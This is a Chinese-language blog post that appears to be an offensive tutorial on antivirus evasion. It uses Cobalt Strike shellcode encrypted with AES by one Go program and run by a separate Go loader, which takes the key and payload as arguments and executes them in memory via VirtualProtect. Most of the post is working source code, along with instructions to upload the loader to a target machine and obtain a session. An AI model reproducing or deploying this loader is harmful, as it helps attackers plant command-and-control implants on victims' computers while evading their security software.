golang分离加载shellcode实现免杀

文章最后更新时间为:2022年12月02日 16:13:11

20221202更新:本文方法已失效,无法对抗动态查杀。

整体利用思路:生成器生成AES加密的Shellcode, 加载器代码中无Shellcode,参数接受。

1. 生成shellcode

以下以cs为例:attacks -> packages -> payload generator -> C

2021-10-08T11:32:42.png

2021-10-08T11:35:41.png

2. 加密shellcode

利用生成器生成aes加密的shellcode

package main

import (
    "bytes"
    "crypto/aes"
    "crypto/cipher"
    "encoding/base64"
    "fmt"
    "math/rand"
    "time"
)

var shellcode = []byte("\xfc\x48\x83......")

//随机生成key,后面用来解密的
func key(l int) string {
    str := "0123456789abcdefghijklmnopqrstuvwxyz"
    bytes := []byte(str)
    result := []byte{}
    r := rand.New(rand.NewSource(time.Now().UnixNano()))
    for i := 0; i < l; i++ {
        result = append(result, bytes[r.Intn(len(bytes))])
    }
    return string(result)
}

//使用PKCS5进行填充用来
func PKCS5Padding(ciphertext []byte, blockSize int) []byte {
    padding := blockSize - len(ciphertext)%blockSize
    padtext := bytes.Repeat([]byte{byte(padding)}, padding)
    return append(ciphertext, padtext...)
}

//进行aes加密
func AesEncrypt(origData, key []byte) ([]byte, error) {
    block, err := aes.NewCipher(key)
    if err != nil {
        return nil, err
    }

    blockSize := block.BlockSize()
    origData = PKCS5Padding(origData, blockSize)
    blockMode := cipher.NewCBCEncrypter(block, key[:blockSize])
    crypted := make([]byte, len(origData))
    blockMode.CryptBlocks(crypted, origData)
    return crypted, nil
}

//主函数入口,对字符进行了处理
func main() {
    key1 := key(16)
    fmt.Println("Key:", key1)
    var key []byte = []byte(key1)
    aes, _ := AesEncrypt(shellcode, key)
    encoded := base64.StdEncoding.EncodeToString(aes)
    fmt.Println("Code:", encoded)
}

2021-10-08T11:55:45.png

3. 加载器执行shellcode

上传加载器到目标机器,并且加载shellcode解密执行

加载器代码(通用):

// 交叉编译:CGO_ENABLED=0 GOOS=windows GOARCH=amd64 go build main.go

package main

import (
    "crypto/aes"
    "crypto/cipher"
    "encoding/base64"
    "os"
    "syscall"
    "unsafe"
)

//这一块是定义一些东西去加载我们的shellcode
var procVirtualProtect = syscall.NewLazyDLL("kernel32.dll").NewProc("VirtualProtect")

func VirtualProtect(lpAddress unsafe.Pointer, dwSize uintptr, flNewProtect uint32, lpflOldProtect unsafe.Pointer) bool {
    ret, _, _ := procVirtualProtect.Call(
        uintptr(lpAddress),
        uintptr(dwSize),
        uintptr(flNewProtect),
        uintptr(lpflOldProtect))
    return ret > 0
}

//shellcode执行函数
func Run(sc []byte) {
    f := func() {}
    var oldfperms uint32
    if !VirtualProtect(unsafe.Pointer(*(**uintptr)(unsafe.Pointer(&f))), unsafe.Sizeof(uintptr(0)), uint32(0x40), unsafe.Pointer(&oldfperms)) {
        panic("Call to VirtualProtect failed!")
    }
    **(**uintptr)(unsafe.Pointer(&f)) = *(*uintptr)(unsafe.Pointer(&sc))
    var oldshellcodeperms uint32
    if !VirtualProtect(unsafe.Pointer(*(*uintptr)(unsafe.Pointer(&sc))), uintptr(len(sc)), uint32(0x40), unsafe.Pointer(&oldshellcodeperms)) {
        panic("Call to VirtualProtect failed!")
    }
    f()
}

//同样为了保证我们的shellcode正常运行要进行PKCS5的操作
func PKCS5UnPadding(origData []byte) []byte {
    length := len(origData)
    unpadding := int(origData[length-1])
    return origData[:(length - unpadding)]
}

//经典的aes解密操作
func AesDecrypt(crypted, key []byte) ([]byte, error) {
    block, err := aes.NewCipher(key)
    if err != nil {
        return nil, err
    }

    blockSize := block.BlockSize()
    blockMode := cipher.NewCBCDecrypter(block, key[:blockSize])
    origData := make([]byte, len(crypted))
    blockMode.CryptBlocks(origData, crypted)
    origData = PKCS5UnPadding(origData)
    return origData, nil
}

//运行主函数,主要是接受参数进行base64解码,ase解码,运行shellcode
func main() {
    key1 := os.Args[1]
    payload1 := os.Args[2]
    encoded2, _ := base64.StdEncoding.DecodeString(payload1)
    var key []byte = []byte(key1)
    AES, _ := AesDecrypt(encoded2, key)
    Run(AES)
}

2021-10-08T12:00:03.png

2021-10-08T12:03:27.png

(注意:这里可能会出错,没有接收到session的话多尝试执行几次)

4. 参考

1 + 2 =
快来做第一个评论的人吧~